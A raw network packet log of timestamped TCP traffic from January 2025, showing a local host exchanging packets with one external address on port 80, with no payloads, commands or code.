Jan 10, 2025 22:00:57.334383011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.334393978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.334410906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.334410906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.334460020 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.359530926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.376506090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.376547098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.376558065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.376569033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.376575947 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.376581907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.376594067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.376604080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.376619101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.376667976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.422080040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.422118902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.422130108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.422143936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.422157049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.422219038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.422250986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.454237938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.454257011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.454268932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.454350948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.454361916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.454368114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.454372883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.454499960 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.454555035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.454566956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.454576015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.454600096 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.454632044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.454660892 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.454662085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.454673052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.454798937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.454809904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.454816103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.454822063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.454832077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.454838991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.454843044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.454879045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.454899073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.454910040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.454920053 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.454921961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.455173969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.455508947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.455521107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.455530882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.455540895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.455550909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.455553055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.455563068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.455580950 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.455612898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.456082106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.456093073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.456101894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.456111908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.456121922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.456121922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.456131935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.456141949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.456147909 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.456152916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.456162930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.456172943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.456182957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.456192970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.456199884 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.456202984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.456228971 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.456943035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.457024097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.457035065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.457045078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.457055092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.457065105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.457067966 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.457075119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.457084894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.457088947 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.457096100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.457106113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.457108021 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.457115889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.457125902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.457132101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.457137108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.457148075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.457159042 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.457174063 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.458014965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.458030939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.458041906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.458051920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.458058119 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.458062887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.458072901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.458082914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.458095074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.458098888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.458106041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.458116055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.458127975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.458131075 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.458137989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.458149910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.458151102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.458173037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.458560944 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.460748911 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.460748911 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.467983007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.467993975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.468004942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.468048096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.468051910 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.468122959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.468133926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.468141079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.468143940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.468153954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.468166113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.468169928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.468175888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.468187094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.468189955 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.468198061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.468208075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.468213081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.468240976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.476424932 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.500250101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.500432968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.513506889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.513519049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.513530970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.513571024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.513581038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.513590097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.513592005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.513603926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.513612986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.513659000 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.513772964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.513782024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.513858080 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.545650005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.545710087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.545720100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.545730114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.545741081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.545743942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.545758009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.545784950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.545794964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.545825958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.545840025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.545842886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.545850992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.545871019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.546001911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.546010971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.546049118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.546057940 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.546071053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.546081066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.546099901 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.546741962 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.577991962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.578003883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.578013897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.578046083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.578053951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.578059912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.578064919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.578083992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.578145981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.578155994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.578162909 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.578185081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.578186035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.578222036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.578226089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.578243971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.578289986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.578300953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.578309059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.578330994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.578469992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.578494072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.578512907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.578552961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.578569889 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.578583002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.578593016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.578598976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.578629971 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.578684092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.578695059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.578733921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.578751087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.578826904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.578836918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.578846931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.578856945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.578866959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.578866959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.578877926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.578882933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.578888893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.578932047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.578932047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.579294920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.579305887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.579320908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.579332113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.579335928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.579343081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.579351902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.579363108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.579372883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.579381943 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.579382896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.579394102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.579404116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.579413891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.579416990 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.579427004 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.579449892 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.579672098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.579694986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.579705000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.579802990 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.579842091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.579853058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.579862118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.579873085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.579879999 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.579884052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.579894066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.579905987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.579907894 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.579920053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.579930067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.579936028 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.579941034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.579979897 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.579979897 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.582981110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.583028078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.583065033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.583076000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.583092928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.583102942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.583113909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.583118916 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.583123922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.583137989 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.583187103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.583198071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.583204985 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.583225012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.583233118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.583249092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.583259106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.583271027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.583281040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.583292961 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.583339930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.583476067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.583512068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.583549976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.583566904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.583578110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.583587885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.583599091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.583604097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.583611012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.583616972 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.583621979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.583631039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.583663940 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.583663940 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.584062099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.584072113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.584083080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.584093094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.584103107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.584106922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.584125996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.584139109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.584142923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.584148884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.584160089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.584170103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.584171057 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.584181070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.584191084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.584201097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.584201097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.584280968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.586124897 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.605046034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.605123043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.605134010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.605144024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.605149031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.605161905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.605171919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.605187893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.605199099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.605215073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.605225086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.605236053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.605246067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.605246067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.605246067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.605246067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.605257034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.605257988 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.605674028 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.616384983 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.637202978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.637229919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.637243032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.637253046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.637265921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.637276888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.637286901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.637294054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.637299061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.637306929 CET	49704	80	192.168.2.5	193.143.1.205
